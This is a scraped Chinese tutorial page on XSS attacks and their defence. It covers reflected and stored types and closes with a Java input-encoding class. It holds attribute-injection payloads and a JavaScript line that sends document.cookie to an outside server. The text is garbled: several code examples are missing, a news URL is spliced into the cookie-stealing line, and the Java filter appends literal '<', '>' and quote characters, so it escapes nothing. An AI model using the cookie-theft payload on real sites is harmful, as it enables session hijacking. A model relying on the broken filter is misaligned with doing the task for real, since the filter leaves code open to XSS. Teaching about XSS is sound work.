xss攻击原理与解决方法
概述
XSS攻击是Web攻击中最常见的攻击方法之一 , 它是通过对网页注入可执行代码且成功地被浏览器 执行 , 达到攻击的目的 , 形成了一次有效XSS攻击 , 一旦攻击成功 , 它可以获取用户的联系人列 表 , 然后向联系人发送虚假诈骗信息 , 可以删除用户的日志等等 , 有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼 , 它带来的危害是巨 大的 , 是web安全的头号大敌 。
攻击的条件
实施XSS攻击需要具备两个条件:
一、需要向web页面注入恶意代码;
二、这些恶意代码能够被浏览器成功的执行 。
看一下下面这个例子:
这段代码在旧版的IE8和IE8以下的版本都是可以被执行的 , 火狐也能执行代码 , 但火狐对其禁止访问DOM对象 , 所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)
再来看一下面这段代码:
相信很多程序员都觉得这个代码很正常 , 其实这个代码就存在一个反射型的XSS攻击 , 假如输入下面的地址:
文章图片
" />
也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了 , 其实这种情况还可以输入下面的地址达到相同的攻击效果:
文章图片
xx" onerror="this.onload()" onload="alert(/xss/)" x="
根据XSS攻击的效果可以分为几种类型
第一、XSS反射型攻击 , 恶意代码并没有保存在目标网站 , 通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的 。
第二、XSS存储型攻击 , 恶意代码被保存到目标网站的服务器中 , 这种攻击具有较强的稳定性和持久性 , 比较常见场景是在博客 , 论坛等社交网站上 , 但OA系统 , 和CRM系统上也能看到它身影 , 比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞 , 黑客提交了恶意攻击代码 , 当系统管理员查看投诉信息时恶意代码执行 , 窃取了客户的资料 , 然而管理员毫不知情 , 这就是典型的XSS存储型攻击 。
XSS攻击能做些什么
1.窃取cookies , 读取目标网站的cookie发送到黑客的服务器上 , 如下面的代码:
var i=document.createElement("img");document.body.appendChild(i);i.srchttp://kandian.youth.cn/index/= "" + document.cookie;
2.读取用户未公开的资料 , 如果:邮件列表或者内容、系统的客户资料 , 联系人列表等等 , 如代码:
解决方法一种方法是在表单提交或者url参数传递前 , 对需要的参数进行过滤,请看如下XSS过滤工具类代码
import java.net.URLEncoder;/** * 过滤非法字符工具类 **/public class EncodeFilter {//过滤大部分html字符public static String encode(String input) {if (input == null) {return input;}StringBuilder sb = new StringBuilder(input.length());for (int i = 0, c = input.length(); i < c; i++) {char ch = input.charAt(i);switch (ch) {case 'break;case '<': sb.append("<");break;case '>': sb.append(">");break;case '"': sb.append(""");break;case '\'': sb.append("'");break;case '/': sb.append("/");break;default: sb.append(ch);}}return sb.toString();}//js端过滤public static String encodeForJS(String input) {if (input == null) {return input;}StringBuilder sb = new StringBuilder(input.length());for (int i = 0, c = input.length(); i < c; i++) {char ch = input.charAt(i);// do not encode alphanumeric characters and ',' '.' '_'if (ch >= 'a'} else {String temp = Integer.toHexString(ch);// encode up to 256 with \\xHHif (ch
推荐阅读
- 微软称SolarWinds黑客攻击波及公司内部的源代码存储库
- 有证据表明Citrix ADC设备被黑客滥用发起DDoS攻击
- 攻击|杭州上演工业互联网“人机对抗”95万次攻击无人得手
- 苹果联合创始人的手绘Apple II电路原理图拍出63万美元高价
- Citizen Lab:数十名记者iPhone遭到NSO“零次点击”间谍攻击
- 微软承认在Solarwind攻击中也被黑客入侵 但没有被用于攻击第三方
- 微软总裁示警SolarWinds黑客攻击 确定40多个新受害目标
- C/C++协程学习笔记丨C/C++实现协程及原理分析视频
- 美国正遭遇“史上最严重”黑客攻击,俄罗斯是幕后黑手?
- 一个黑客引发的血案!美国史上最严重黑客攻击引发蝴蝶效应,居然还有内幕交易之嫌